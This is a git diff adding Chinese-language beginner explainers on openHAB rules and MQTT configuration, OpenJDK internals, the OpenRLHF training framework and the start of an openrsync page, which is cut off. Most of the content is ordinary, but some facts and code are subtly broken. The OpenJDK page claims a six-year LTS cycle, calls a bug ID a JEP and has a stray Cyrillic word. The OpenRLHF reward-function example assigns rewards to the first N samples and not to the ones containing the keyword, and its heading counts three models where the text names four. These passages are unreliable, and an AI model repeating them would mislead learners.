+文件：`conf/things/mqtt.things`
+
+```dsl
+Bridge mqtt:broker:MyMQTTBroker [
+  host="192.168.1.50",
+  secure=false,
+  username="mqtt_user",
+  password="mqtt_pass"
+] {
+  Thing topic sonoff_living "Living Room Sonoff" @ "Living Room" {
+    Channels:
+      Type switch : PowerSwitch [
+        stateTopic="stat/sonoff_living/POWER",
+        commandTopic="cmnd/sonoff_living/POWER",
+        on="ON",
+        off="OFF"
+      ]
+      Type number : Temperature [
+        stateTopic="tele/sonoff_living/SENSOR",
+        transformationPattern="JSONPATH:$.SI7021.Temperature"
+      ]
+  }
+}
+```
+
+解读：
+
+- `Bridge mqtt:broker:MyMQTTBroker`：MQTT Binding 的 broker 类型，UID 第三段 `MyMQTTBroker` 自定义。
+- 花括号内 `Thing topic sonoff_living`：Generic MQTT Thing，挂在该 Bridge 下。
+- `Type switch : PowerSwitch`：状态 Channel，订阅 `stat/...`、发布命令到 `cmnd/...`。
+- `Type number : Temperature`：用 JSONPath 从 SENSOR 报文里抽温度字段。
+
+对应 **Item 与 Link**（`conf/items/living.items`）：
+
+```dsl
+Switch LivingRoom_Light "Living Room Light" { channel="mqtt:topic:MyMQTTBroker:sonoff_living:PowerSwitch" }
+Number LivingRoom_Temp "Living Room Temperature [%.1f °C]" { channel="mqtt:topic:MyMQTTBroker:sonoff_living:Temperature" }
+Group gGroundFloor "Ground Floor"
+```
+
+Channel UID 规则：`binding:thing-type:bridge-id:thing-id:channel-id`（Bridge 作父 Thing 时中间段包含 bridge id）。
+
+---
+
+## 代码示例 2：Rules DSL — 日落开灯 + 高温告警
+
+openHAB 内置 **Rules DSL**（`.rules` 文件，位于 `conf/rules/`）。现代安装也支持 UI 规则、JavaScript/JRuby 脚本，但 DSL 仍是文档最完整、零基础最易上手的文本格式。
+
+文件：`conf/rules/living.rules`
+
+```dsl
+import org.openhab.core.model.script.actions.Timer
+import org.openhab.core.library.types.PercentType
+
+var Timer motionOffTimer = null
+
+rule "Living room light on at sunset"
+when
+    Channel 'astro:sun:local:set#event' triggered START
+then
+    LivingRoom_Light.sendCommand(ON)
+    if (LivingRoom_Light.state != ON) {
+        logInfo("living", "Failed to turn on living room light")
+    }
+end
+
+rule "Dim living room when motion clears"
+when
+    Item LivingRoom_Motion changed to ON
+then
+    if (motionOffTimer !== null) {
+        motionOffTimer.cancel()
+        motionOffTimer = null
+    }
+    LivingRoom_Light.sendCommand(new PercentType(70))
+end
+
+rule "Turn off after 10 min no motion"
+when
+    Item LivingRoom_Motion changed to OFF
+then
+    motionOffTimer = createTimer(now.plusMinutes(10), [ |
+        LivingRoom_Light.sendCommand(OFF)
+        motionOffTimer = null
+    ])
+end
+
+rule "High temperature warning"
+when
+    Item LivingRoom_Temp changed
+then
+    if ((LivingRoom_Temp.state as Number) > 28) {
+        sendNotification("Living room temperature above 28°C: " + LivingRoom_Temp.state)
+    }
+end
+```
+
+要点：
+
+- **触发器**：可以是 Item 变化、`Channel` 触发（如 Astro 绑定的日落事件）、时间 Cron、系统启动等。
+- **`sendCommand` vs `postUpdate`**：前者走设备（经 Link 到 Channel）；后者只改 Item 状态（模拟/测试用）。
+- **Timer**：规则内可声明 `var Timer`，避免_motion 抖动时重复关灯。
+
+等价的 **极简 UI 规则** 逻辑是：When `LivingRoom_Temp` changes → If > 28 → Notification；Core 事件模型一致，只是编辑器不同。
+
+---
+
+## 事件与规则引擎（进阶一览）
+
+规则可监听多类事件（[Rules 概念](https://www.openhab.org/docs/concepts/rules/)）：
+
+| 触发源 | 示例 |
+| --- | --- |
+| Item | `Item Foo changed` / `received command` |
+| Group | `Member of gLights changed` |
+| Time | `Time cron "0 0 7 * * ?"` 每天 7:00 |
+| Channel | Astro 日出日落、某些 Binding 的 trigger channel |
+| Thing | `Thing 'mqtt:broker:MyMQTTBroker' changed to OFFLINE` |
+| System | `System started` |
+
+Script Action 可嵌 JavaScript（`automation/js`）、JRuby 等；Rules DSL 适合「单文件、无 npm 依赖」的家庭场景。
+
+---
+
+## 持久化、Transform 与 Sitemap（知道即可）
+
+零基础路径上还会遇到三个邻居概念：
+
+- **Persistence**：把 Item 历史存 InfluxDB、MapDB 等，供图表与「过去 24h 最高温」类规则使用。
+- **Transformation**：Channel 原始字符串 → Item 状态（如 `JSONPATH`、`REGEX`、`MAP`），MQTT 示例中的 `transformationPattern` 即此类。
+- **Sitemap / Main UI**：把 Item 排成手机端控件；openHAB 3+ 主推 Main UI，旧版 `.sitemap` 仍可用。
+
+不必第一天全配齐；**Thing → Item → Rule** 跑通后再加持久化与仪表盘。
+
+---
+
+## 与 Home Assistant 的简要对比
+
+| 维度 | openHAB | Home Assistant |
+| --- | --- | --- |
+| 语言 / 运行时 | Java，OSGi | Python |
+| 设备模型 | Thing / Channel / Item 三层 | Integration → Entity 一层 |
+| 配置文化 | `.things` / `.items` 文本传统强 | YAML + UI，社区模板多 |
+| 欧洲协议 | KNX、EnOcean 等历史积累深 | 全球生态、ESPHome 等更热 |
+| 规则 | Rules DSL、UI、JS/JRuby | YAML 自动化、Node-RED、脚本 |
+
+二者都可本地部署、都支持 MQTT；选型常取决于已有硬件协议、团队语言栈（Java vs Python）与个人配置偏好。
+
+---
+
+## 零基础上手路径（建议顺序）
+
+1. **安装**：openHABian（树莓派）或官方 Docker 镜像，确认 Main UI 可访问（默认 `8080`）。
+2. **装 Binding**：Settings → Add-ons → 如 MQTT Binding、Astro Binding。
+3. **加 Thing**：MQTT 可先手写 `.things` 连 [[mosquitto]]，或用 UI Inbox 发现 Hue/Z-Wave。
+4. **建 Item 并 Link**：UI「Create Items」或 `.items` 文件 `{ channel="..." }`。
+5. **写一条 Rule**：从「Item 变化 → logInfo」开始，再加 Astro 日落、定时 Cron。
+6. **持久化（可选）**：InfluxDB + Grafana 看温湿度曲线。
+
+调试技巧：Developer Tools → Events 监视 `ItemStateChangedEvent`；日志 `openhab.log` / `events.log` 查 Binding 是否 ONLINE。
+
+---
+
+## 常见坑
+
+| 现象 | 可能原因 |
+| --- | --- |
+| Item 一直是 NULL | Link 未建、Channel UID 写错、Thing OFFLINE |
+| 规则不触发 | 文件名非 `.rules`、语法错误未加载、触发器 Item 名拼写不一致 |
+| MQTT 有消息 Item 不更新 | stateTopic/commandTopic 反了、JSONPath 不匹配、未 Link |
+| UI 与文件配置不一致 | 同一 Thing 既在 DB 又在 `.things`，UID 冲突 |
+| 改 `.things` 不生效 | 需触发配置刷新或重启；检查 `conf/things` 路径 |
+
+---
+
+## 小结
+
+openHAB Core 提供的是一套**严格的物理–虚拟分层**：Binding 接入 Thing，Channel 暴露能力，Link 接到 Item，Rule 消费 Item 事件。日常类比就是「物业中控 + 统一台账 + 配线表 + 自动化手册」。用 MQTT `.things` 声明硬件、用 Rules DSL 写日落与告警，是从零到可运行家庭自动化的最短文本路径；深入后再扩展 OSGi Binding 开发、持久化与 Main UI 仪表盘即可。
+
+---
+
+## 参考链接
+
+- 核心仓库：[openhab/openhab-core](https://github.com/openhab/openhab-core)
+- 概念总览：[Concepts | openHAB](https://www.openhab.org/docs/concepts/)
+- Things 配置：[Things | openHAB](https://www.openhab.org/docs/configuration/things.html)
+- Items：[Items | openHAB](https://www.openhab.org/docs/concepts/items.html)
+- Rules DSL：[Textual Rules | openHAB](https://www.openhab.org/docs/configuration/rules-dsl.html)
diff --git a/src/content/docs/projects/openjdk.md b/src/content/docs/projects/openjdk.md
new file mode 100644
index 000000000..fc4c2bb8c
--- /dev/null
+++ b/src/content/docs/projects/openjdk.md
@@ -0,0 +1,291 @@
+---
+title: OpenJDK — Java 标准实现
+来源: https://github.com/openjdk/jdk
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**OpenJDK**（Open Java Development Kit）是 Java 平台的**官方开源参考实现**，也是当今绝大多数「Java」发行版的共同祖先。你安装的 Amazon Corretto、Eclipse Temurin、Oracle JDK、Azul Zulu，乃至 Android 工具链里用到的部分 Java 类库，追根溯源都指向 [openjdk/jdk](https://github.com/openjdk/jdk) 这棵大树。
+
+日常类比：如果把 **Java 语言规范（JLS）** 和 **JVM 规范（JVMS）** 看成国家颁布的「交通规则」，OpenJDK 就是政府开源的那套**标准驾校 + 车管所 + 公路养护队**——
+
+- **javac** 像驾校教练：把你的 `.java` 讲义翻译成 JVM 能读的 **字节码**（`.class`）；
+- **HotSpot JVM** 像公路上的智能调度中心：刚上路用**解释器**慢慢带，发现某条路天天堵（热点代码）就派 **JIT 编译器**铺成高速公路（机器码）；
+- **类加载器** 像海关检疫：`.class` 文件入境前要验签、分舱（Bootstrap / Platform / App）；
+- **GC（垃圾回收器）** 像环卫系统：没人引用的对象自动清走，你只管 `new`，不用手动 `free`；
+- **JDK 模块**（`java.base`、`java.net`…）像标准化市政设施：水管、电网、公交接口都写进规范，换城市（换发行版）也能用。
+
+你写的 Spring Boot、`mvn test`、大数据 Spark 作业，在服务器上真正跑的，几乎都是 **OpenJDK 系 JVM + 类库**——区别往往只是「谁打包、谁打安全补丁、谁收支持费」。
+
+## 为什么重要
+
+不懂 OpenJDK，下面这些面试题和线上现象很难讲透：
+
+- **为什么 `java -version` 和 `javac -version` 可能不一致**——JDK 是工具链 + 运行时 + 类库的组合，不同供应商可能拆分打包
+- **为什么改一个循环写法能快 10 倍**——解释执行 vs C1/C2 JIT、内联、逃逸分析在起作用
+- **为什么 `-Xmx` 设很大但 RSS 涨得更猛**——堆、元空间、线程栈、JIT Code Cache、GC  remembered set 都会占原生内存
+- **为什么 Java 9 后 `rt.jar` 没了**——**Jigsaw 模块化**把单体 JDK 拆成 `java.*` 模块图
+- **为什么 LTS（17、21、25）这么重要**——OpenJDK 社区每六年一个长期支持节奏，企业生产环境跟的是这条时间线
+
+## 核心概念
+
+### 1. JDK、JRE、JVM 三层关系
+
+| 层级 | 包含什么 | 类比 |
+|------|----------|------|
+| **JVM** | HotSpot 执行引擎：解释、JIT、GC、线程 | 发动机 |
+| **JRE**（历史概念，Java 9+ 已弱化） | JVM + 核心类库 | 发动机 + 油箱 |
+| **JDK** | JRE + 开发工具（`javac`、`javadoc`、`jlink`、`jcmd`…） | 整车 + 维修工具箱 |
+
+现代说法：**装 JDK 就够用**；`java` 命令启动 JVM，`javac` 编译源码，`jar` / `jpackage` 打包分发。
+
+### 2. 源码树：HotSpot 与模块
+
+OpenJDK 源码按 **JEP 8283227** 描述的布局组织，核心两条线：
+
+```
+openjdk/jdk/
+├── src/hotspot/          # C++：JVM 本体（解释器、JIT、GC、线程）
+│   ├── share/            # 跨平台核心
+│   ├── cpu/x86, aarch64/ # 架构相关
+│   └── os/linux, windows/
+├── src/java.base/        # java.lang、IO、集合、并发…
+├── src/java.net/         # 网络
+├── src/jdk.compiler/     # javac 编译器
+└── make/                 # 构建系统（configure + make）
+```
+
+- **HotSpot** 是 Oracle 贡献、现为 OpenJDK 默认的 JVM 实现（另有 GraalVM、OpenJ9 等竞品，但 HotSpot 是「标准答案」）
+- 每个 **`src/$MODULE`** 对应 `module-info.java` 里声明的一个 **JPMS 模块**
+
+### 3. 类加载与双亲委派
+
+类加载分 **Loading → Linking（验证、准备、解析）→ Initialization** 三阶段。默认 **AppClassLoader** 收到请求会先问 **Platform**，再问 **Bootstrap**（由 C++ 实现，加载 `java.base`）。
+
+双亲委派的好处：**核心类不会被应用 jar 里的同名类顶替**（防止恶意 `java.lang.String`）。打破委派的场景：Tomcat 隔离 Web 应用、OSGi、部分框架热部署。
+
+### 4. 执行引擎：解释 → C1 → C2
+
+HotSpot 采用 **分层编译（Tiered Compilation）**：
+
+```
+字节码
+  ▼
+模板解释器（Template Interpreter）── 立即执行，收集 profiling
+  ▼
+C1（Client Compiler）── 快速 JIT，轻量优化
+  ▼
+C2（Server Compiler）── 深度优化：内联、逃逸分析、循环展开…
+  ▼
+去优化（Uncommon Trap）── 假设失败时回退到解释状态
+```
+
+| 编译层 | 典型开关 | 特点 |
+|--------|----------|------|
+| 解释 | 默认冷启动 | 零编译延迟 |
+| C1 | `-XX:TieredStopAtLevel=1` | 快编译，适合短生命周期 |
+| C2 | 默认 L4 | 峰值性能，编译耗时长 |
+
+JDK 17+ 在部分平台引入 **JVMCI / Graal** 作为实验性 C2 替代；生产默认仍是 **C2**。
+
+### 5. 垃圾回收器家族
+
+OpenJDK HotSpot 提供多种 **CollectedHeap** 实现，按场景选用：
+
+| 收集器 | 开关 | 适用场景 |
+|--------|------|----------|
+| **G1**（默认，JDK 9+） | `-XX:+UseG1GC` | 堆数百 MB～几十 GB，可设暂停目标 `-XX:MaxGCPauseMillis` |
+| **ZGC** | `-XX:+UseZGC` | 超低延迟，TB 级堆（JDK 15+ 生产可用） |
+| **Parallel** | `-XX:+UseParallelGC` | 吞吐优先，批处理 |
+| **Serial** | `-XX:+UseSerialGC` | 单核、小堆、嵌入式 |
+| **Shenandoah** | `-XX:+UseShenandoahGC` | 低延迟（Red Hat 主导，部分发行版自带） |
+
+共同机制：**分代假设**——大部分对象朝生暮死；**安全点（Safepoint）**——GC 与 JIT 需要线程停在一致状态；**STW（Stop-The-World）** 阶段应尽量缩短。
+
+### 6. JPMS 模块化（Java 9+）
+
+`module-info.java` 声明依赖与导出：
+
+```java
+module com.example.app {
+    requires java.base;
+    requires java.net.http;
+    exports com.example.api;
+}
+```
+
+- **`jlink`** 可裁剪运行时，生成只含所需模块的自定义镜像（容器镜像从 300MB+ 瘦到几十 MB）
+- **强封装**：JDK 内部包默认不可反射访问，`--add-opens` 是迁移旧库时的常见补丁
+
+### 7. JFR、jcmd 与可观测性
+
+OpenJDK 内置 **Java Flight Recorder（JFR）**：低开销采样 CPU、分配、锁、GC、方法热点。`jcmd <pid> JFR.start` 不需额外 agent。配合 **Mission Control** 或 **async-profiler**，是线上调 JVM 的「标准仪表盘」。
+
+## 从源码到运行（零基础走读）
+
+```java
+public class Hello {
+    public static void main(String[] args) {
+        System.out.println("Hello, OpenJDK");
+    }
+}
+```
+
+1. **`javac Hello.java`** → `Hello.class`（字节码，存在常量池、方法表、栈帧限制）
+2. **`java Hello`** → 启动器解析 `JAVA_HOME`，加载 **libjvm.so**，创建 VM
+3. **Bootstrap 类加载器** 加载 `java.base` 里的 `System`、`PrintStream`
+4. **解释器** 执行 `main` 字节码；`println` 热点路径可能被 **C2 内联**
+5. 字符串与临时对象在 **Eden** 分配；Minor GC 由 **G1** 或默认收集器回收
+
+## 代码示例
+
+### 示例 1：用 `jlink` 构建最小运行时
+
+模块化应用打包成「只带必需模块」的镜像，是 OpenJDK 9+ 的标志性能力：
+
+```bash
+# 编译模块化应用
+javac -d out --module-source-path src $(find src -name "*.java")
+
+# 链接出自定义运行时（示例模块名 com.myapp）
+jlink \
+  --module-path out:$JAVA_HOME/jmods \
+  --add-modules com.myapp \
+  --launcher myapp=com.myapp/com.myapp.Main \
+  --compress=2 \
+  --no-header-files \
+  --no-man-pages \
+  --output build/runtime
+
+# 运行
+./build/runtime/bin/myapp
+```
+
+`module-info.java` 骨架：
+
+```java
+module com.myapp {
+    requires java.base;
+
+    exports com.myapp;
+}
+```
+
+### 示例 2：观察 JIT 与 GC 行为
+
+下面小程序故意制造分配与热点循环，配合 JVM 参数观察 OpenJDK 运行时决策：
+
+```java
+public class JvmPlayground {
+    static volatile long sink;
+
+    public static void main(String[] args) {
+        // 热点：易被 C2 优化
+        long sum = 0;
+        for (int i = 0; i < 10_000_000; i++) {
+            sum += i;
+        }
+        sink = sum;
+
+        // 短生命周期对象：新生代回收
+        for (int i = 0; i < 100_000; i++) {
+            new byte[1024];
+        }
+        System.gc(); // 只是建议，真正策略由 GC 决定
+        System.out.println("done, sum=" + sum);
+    }
+}
+```
+
+推荐运行命令（JDK 21+）：
+
+```bash
+java -XX:+PrintCompilation \
+     -Xlog:gc*:stdout:time,level,tags \
+     -XX:CompileCommand=print,JvmPlayground.main \
+     JvmPlayground
+```
+
+你会看到：**C1/C2 编译日志**（哪段方法被编译）、**GC 日志**（Young/Old 区域回收）。去掉 `-XX:+PrintCompilation` 后加 `-XX:+UnlockDiagnosticVMOptions -XX:+PrintInlining` 可进一步看内联决策（仅诊断环境使用）。
+
+### 示例 3：用 `ProcessHandle` 读当前 OpenJDK 进程信息
+
+纯 Java API，无需第三方库，展示 JDK 与操作系统交互的一层：
+
+```java
+import java.lang.management.ManagementFactory;
+import java.lang.management.RuntimeMXBean;
+
+public class WhichJvm {
+    public static void main(String[] args) {
+        RuntimeMXBean rt = ManagementFactory.getRuntimeMXBean();
+        System.out.println("VM name:    " + rt.getVmName());
+        System.out.println("VM vendor:  " + rt.getVmVendor());
+        System.out.println("VM version: " + rt.getVmVersion());
+        System.out.println("PID:        " + ProcessHandle.current().pid());
+        System.out.println("Java home:  " + System.getProperty("java.home"));
+    }
+}
+```
+
+典型输出形如 `OpenJDK 64-Bit Server VM`、`Eclipse Adoptium`——说明二进制来自哪个 **发行版**，而规范实现仍源自 OpenJDK 源码树。
+
+## 构建与参与（开发者向）
+
+从零构建 OpenJDK（桌面 Linux/macOS 大致流程）：
+
+```bash
+# 克隆（体积大，建议浅克隆或 bundle）
+git clone https://github.com/openjdk/jdk.git
+cd jdk
+
+# 配置（需 Xcode CLT / build-essential、boot JDK 17+）
+bash configure --with-boot-jdk=$(/usr/libexec/java_home -v 21)
+
+# 编译（机器核心数多时可 -j）
+make images
+
+# 产物在 build/*/images/jdk
+build/*/images/jdk/bin/java -version
+```
+
+社区协作入口：
+
+- **JEP**（JDK Enhancement Proposal）：新特性设计文档，如虚拟线程（JEP 444）、Record（JEP 395）
+- **mailing lists** / **GitHub PR**：bug 修复与特性实现
+- **jtreg** 测试：修改 HotSpot 或类库必须过回归套件
+
+## 与周边生态的关系
+
+| 项目 | 关系 |
+|------|------|
+| **Eclipse Temurin / Adoptium** | 社区 LTS 构建，免费生产使用 |
+| **Oracle JDK** | 同一源码的商业支持分支 |
+| **Android ART** | 运行 Dalvik/ART 字节码，类库部分与 OpenJDK 同源历史 |
+| **Kotlin / Scala** | 编译到 JVM 字节码，运行时仍是 OpenJDK |
+| **GraalVM** | 可选替代 JIT/AOT 栈，兼容 OpenJDK 类库 |
+| **[[v8]]** | 不同语言栈；对比可理解「托管运行时 + GC + JIT」共性 |
+
+## 常见误区
+
+1. **「Java 慢」**——冷启动 + 解释阶段慢；预热后 JIT 代码接近 C++，瓶颈常在 IO、锁、分配率
+2. **「OpenJDK 不能商用」**——可以；注意个别发行版的商标与补丁支持条款，不是许可证禁止商用
+3. **`System.gc()` 一定触发 Full GC**——只是提示；`-XX:+DisableExplicitGC` 可忽略
+4. **堆越大越好**——过大增加 GC 负担与暂停；需结合 G1/ZGC  регион与 `-XX:MaxGCPauseMillis` 调参
+5. **所有 JDK 行为完全一致**——供应商 backport、默认 GC、时区数据可能略有差异；生产应锁定具体发行版与版本
+
+## 学习路径建议
+
+1. **会用**：安装 Temurin 21 LTS，写小程序，`javac` / `java` / `jar` 熟练
+2. **会读**：`javap -c -v` 反汇编字节码；理解栈帧、常量池、 invokevirtual
+3. **会调**：`jcmd`、`jstat`、`jmap`、JFR；读 GC 日志，设 `-Xms/-Xmx`
+4. **会挖**：读 **《深入理解 Java 虚拟机》** + OpenJDK 源码 `src/hotspot/share/runtime`、`gc/g1`
+5. **会跟**：每年跟 LTS 发布说明，浏览 [OpenJDK JEPs](https://openjdk.org/jeps/0)
+
+## 小结
+
+OpenJDK 不是某一个公司的私有产品，而是 **Java 生态的公共基础设施**：语言、字节码、API、HotSpot 实现都在这里汇合。零基础只需记住一条链：**源码 → javac → 字节码 → JVM（解释 + JIT + GC）→ 你的业务**。往下挖是 C++ 的 HotSpot 与百万行类库；往上用是 Spring、Kafka、Elasticsearch 整座大厦。把 OpenJDK 当成「会自我优化的操作系统进程」，学习曲线就会清晰很多。
diff --git a/src/content/docs/projects/openrlhf.md b/src/content/docs/projects/openrlhf.md
new file mode 100644
index 000000000..5ba633473
--- /dev/null
+++ b/src/content/docs/projects/openrlhf.md
@@ -0,0 +1,173 @@
+---
+title: OpenRLHF - 让大模型学会"自我改进"的强化学习框架
+source: https://github.com/OpenRLHF/OpenRLHF
+date: 2026-06-13
+category: AI/ML
+subcategory: 大语言模型
+provenance: pipeline-v3
+分类: 机器学习
+子分类: ML 系统
+---
+
+# OpenRLHF - 让大模型学会"自我改进"的强化学习框架
+
+## 什么是 RLHF？
+
+在讲 OpenRLHF 之前，先理解一个概念：**RLHF**（Reinforcement Learning from Human Feedback，人类反馈强化学习）。
+
+想象你在教一个小孩子写作文。一开始他写得乱七八糟，你不会直接告诉他正确答案，而是说"这段不错，但结尾可以再有力一些"。小孩子根据你的反馈，慢慢越写越好。RLHF 就是把这个过程自动化——让大语言模型（LLM）通过"奖励信号"自我改进。
+
+整个过程分三步：
+
+1. **SFT（监督微调）**：先给模型看一些"标准答案"，让它学会基本格式。
+2. **训练奖励模型**：教模型判断"好回答"和"差回答"的区别。
+3. **强化学习优化**：模型不断生成回答，根据奖励分数调整自己的策略，越变越好。
+
+OpenRLHF 就是做了第 2 和第 3 步的**基础设施**——它帮你把这套流程高效地跑起来。
+
+## OpenRLHF 是什么
+
+OpenRLHF 是一个开源的、高性能的 RLHF 框架。它的核心卖点是：
+
+- **高性能**：基于 Ray + vLLM 分布式架构，能跑 70B+ 参数的大模型
+- **算法全面**：支持 PPO、REINFORCE++、GRPO、RLOO 等多种 RL 算法
+- **Agent 驱动设计**：统一了单轮和多轮交互的执行方式
+- **易用**：直接对接 HuggingFace 模型，开箱即用
+
+GitHub 星标超过 9.6k，被 Google、字节跳动、腾讯、阿里等公司使用。
+
+## 核心架构：三个模型一起跳舞
+
+RLHF 的训练过程中，其实有**四个模型**在同时工作。你可以把它们想象成一个"教练团队"：
+
+| 角色 | 模型 | 职责 |
+|------|------|------|
+| **Actor（演员）** | 正在学习的 LLM | 负责生成回答 |
+| **Reward（裁判）** | 奖励模型 | 给回答打分 |
+| **Reference（参考）** | 原始模型的副本 | 防止演员"跑偏"太远 |
+| **Critic（评论家）** | 评论模型 | 评估当前策略的好坏 |
+
+OpenRLHF 的创新在于：它用 **Ray** 做调度器，把这四个模型分配到不同的 GPU 上并行运行；用 **vLLM** 加速 Actor 的文本生成（RLHF 训练中 80% 的时间花在生成上）；用 **DeepSpeed** 做显存优化，让大模型能在有限硬件上训练。
+
+## 支持的 RL 算法
+
+OpenRLHF 内置了多种先进的 RL 算法，选择哪一个取决于你的场景：
+
+| 算法 | 特点 | 适用场景 |
+|------|------|----------|
+| **PPO**（默认） | 最成熟稳定，有完整的 Critic 模型 | 通用场景，追求稳定性 |
+| **REINFORCE++** | 不需要 Critic，省显存 | 显存受限，想要高效训练 |
+| **REINFORCE++-baseline** | 用平均奖励作为基准 | 推理类任务（RLVR），对奖励尺度鲁棒 |
+| **GRPO** | 组归一化，批量训练 | 批量场景 |
+| **RLOO** | 逐 token 的 KL 惩罚 | 多样本训练 |
+
+对于初学者，建议从 PPO 开始理解，因为它是 RLHF 领域的"经典款"。
+
+## 两种执行模式
+
+OpenRLHF 采用了统一的 Agent 执行范式：
+
+**单轮模式（Single-Turn）**：每个提示词只生成一次回答。这是 99% 场景的默认选择，简单直接。
+
+**多轮模式（Multi-Turn）**：模型可以和"环境"多轮对话，比如一步步推理、接收反馈再继续。适合复杂的推理任务。
+
+## 代码示例 1：自定义奖励函数
+
+这是 OpenRLHF 最实用的功能之一——你可以不用训练奖励模型，直接写一个 Python 函数来计算奖励：
+
+```python
+# reward_func.py
+import torch
+
+def reward_func(queries, prompts, labels):
+    """
+    为生成的回答计算自定义奖励。
+    
+    Args:
+        queries: 完整文本列表（提示词 + 回答）
+        prompts: 原始提示词列表
+        labels: 参考答案（来自数据集）
+    
+    Returns:
+        包含 rewards、scores 和日志的字典
+    """
+    batch_size = len(queries)
+    
+    # 示例：检查回答中是否包含关键词"因此"（逻辑连接词）
+    has_logic = sum(1 for q in queries if "因此" in q or "所以" in q)
+    reward = torch.full((batch_size,), 0.0)
+    reward[:has_logic] = 1.0  # 包含逻辑词的得 1 分
+    
+    return {
+        "rewards": reward,           # 用于 RL 的优势计算
+        "scores": reward,            # 用于动态过滤（0-1 范围）
+        "extra_logs": {
+            "logic_ratio": has_logic / batch_size,
+        },
+    }
+```
+
+然后训练时通过 `--reward.remote_url` 指定这个函数即可，OpenRLHF 会自动调用它来计算每个回答的奖励分数。
+
+## 代码示例 2：启动 PPO 训练
+
+下面是启动一个完整的 PPO 训练流程的命令：
+
+```bash
+# 第一步：启动 Ray 集群（分配 8 张 GPU）
+ray start --head --node-ip-address 0.0.0.0 --num-gpus 8
+
+# 第二步：提交 PPO 训练任务
+ray job submit --address="http://127.0.0.1:8265" \
+   --runtime-env-json='{"working_dir": "/openrlhf"}' \
+   -- python3 -m openrlhf.cli.train_ppo_ray \
+   --ref.num_nodes 1 \
+   --ref.num_gpus_per_node 8 \
+   --reward.num_nodes 1 \
+   --reward.num_gpus_per_node 8 \
+   --critic.num_nodes 1 \
+   --critic.num_gpus_per_node 8 \
+   --actor.num_nodes 1 \
+   --actor.num_gpus_per_node 8 \
+   --vllm.num_engines 4 \
+   --vllm.tensor_parallel_size 2 \
+   --actor.model_name_or_path OpenRLHF/Llama-3-8b-sft-mixture \
+   --reward.model_name_or_path OpenRLHF/Llama-3-8b-rm-700k \
+   --ckpt.output_dir ./checkpoint/llama3-8b-rlhf \
+   --train.batch_size 128 \
+   --rollout.batch_size 1024 \
+   --prompt_max_len 1024 \
+   --generate_max_len 1024 \
+   --ds.zero_stage 3 \
+   --actor.adam.lr 5e-7 \
+   --critic.adam.lr 9e-6 \
+   --data.prompt_dataset OpenRLHF/prompt-collection-v0.1 \
+   --data.apply_chat_template \
+   --actor.gradient_checkpointing_enable \
+   --ds.packing_samples
+```
+
+关键参数说明：
+
+- `--actor.model_name_or_path`：正在训练的演员模型（可以是 HuggingFace 上的任意模型）
+- `--reward.model_name_or_path`：奖励模型的路径
+- `--vllm.num_engines`：启动几个 vLLM 推理引擎（越多生成越快）
+- `--train.batch_size`：训练批次大小
+- `--rollout.batch_size`：每次生成的样本数
+- `--ds.zero_stage 3`：DeepSpeed ZeRO-3 显存优化级别
+
+如果你不想用预训练的奖励模型，可以把 `--reward.model_name_or_path` 替换为 `--reward.remote_url /path/to/reward_func.py`，用自定义奖励函数。
+
+## 为什么值得学
+
+1. **RLHF 是主流**：几乎所有顶级 LLM（GPT、Claude、Gemini）都用到了 RLHF 或其变体来对齐人类价值观。理解 OpenRLHF = 理解工业界怎么做模型对齐。
+2. **性能导向**：它不是学术玩具，而是真正在生产环境跑的框架，性能优化做得非常细。
+3. **算法前沿**：从 PPO 到 REINFORCE++，OpenRLHF 紧跟学术界最新进展，是了解 RL 对齐领域的好窗口。
+4. **Agent 范式**：它的 Agent-based 设计思路可以推广到更广泛的场景，不只是 RLHF。
+
+## 进一步学习
+
+- 官方文档：https://openrlhf.readthedocs.io/
+- 技术报告：https://www.researchgate.net/publication/393414548
+- CMU 课程教学案例：CMU Advanced NLP Spring 2025 使用 OpenRLHF 作为 RLHF 教学框架
+- REINFORCE++ 论文：https://www.researchgate.net/publication/387487679
diff --git a/src/content/docs/projects/openrsync.md b/src/content/docs/projects/openrsync.md
new file mode 100644
index 000000000..1ce9eb74c
--- /dev/null
+++ b/src/content/docs/projects/openrsync.md
@@ -0,0 +1,236 @@
+---
+title: Openrsync — OpenBSD 团队的 rsync 实现
+来源: https://github.com/kristapsdz/openrsync
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Openrsync** 是 OpenBSD 开发者 Kristaps Dzonsons 用 C 写的 **rsync 协议实现**，自 OpenBSD 6.5 起进入系统基座。它和 Samba 维护的 GPL 版 [[rsync]] 说同一种「方言」——**协议版本 27**——但许可证是 **ISC（BSD 风格）**，代码体量约一万行，安全模型围绕 OpenBSD 的 `pledge(2)` 与 `unveil(2)` 设计。
+
+日常类比：
+
+- 经典 **rsync** 像一辆功能齐全的搬家卡车：能挂拖车、能越野、能跑长途，选项面板密密麻麻， GPLv3 许可证也意味着「整车设计图」必须按 GPL 规则分享。
+- **Openrsync** 像同一城市公交系统采购的**合规中巴**：只跑固定线路（常用同步场景），车门和窗户在出厂时就焊死了能开多大（沙箱限制文件系统访问），司机能按的按钮更少，但**审计员一眼能看完整车 wiring**。
+
+最小可用同步：
+
+```bash
+# 把本地 src/ 推到远程 backup/，保留时间戳以便下次增量
+openrsync -rt ./src/ user@host:backup/
+```
+
+远程拉取到本机：
+
+```bash
+openrsync -rt user@host:src/bar user@host:src/baz ./dest/
+```
+
+注意：Openrsync **只支持 rsync 命令行的一个子集**；和上游 rsync 混用时，应选两边都认识的 flag（见 `openrsync(1)`）。
+
+## 为什么重要
+
+不理解 Openrsync，下面几件事很难讲清楚：
+
+- 为什么 OpenBSD 敢把 rsync **从 ports 换成自带实现**——基座工具要可审计、许可证要宽松、攻击面要可控
+- 为什么 RPKI 验证器 **rpki-client** 会顺带资助 Openrsync——运营商要从公网拉路由证书快照，需要可信任的增量同步通道
+- 为什么说「rsync 算法」和「rsync 这个程序」是两回事——算法是 Tridgell 的滚动校验块论文；Openrsync 是**另一份独立实现**，用事件循环替代了 GPL 版的 generator 子进程
+- 为什么在 Linux 上很多人仍装 Samba rsync，而在 OpenBSD 上默认就是 `openrsync`——**生态选择 ≠ 协议垄断**
+
+## 核心要点
+
+### 1. 角色：Sender 与 Receiver
+
+一次同步永远是一个 **Sender（发送方，管源文件）** 和一个 **Receiver（接收方，管目标目录）** 配对：
+
+| 命令形态 | 客户端角色 | 远端 `--server` 角色 |
+|----------|------------|----------------------|
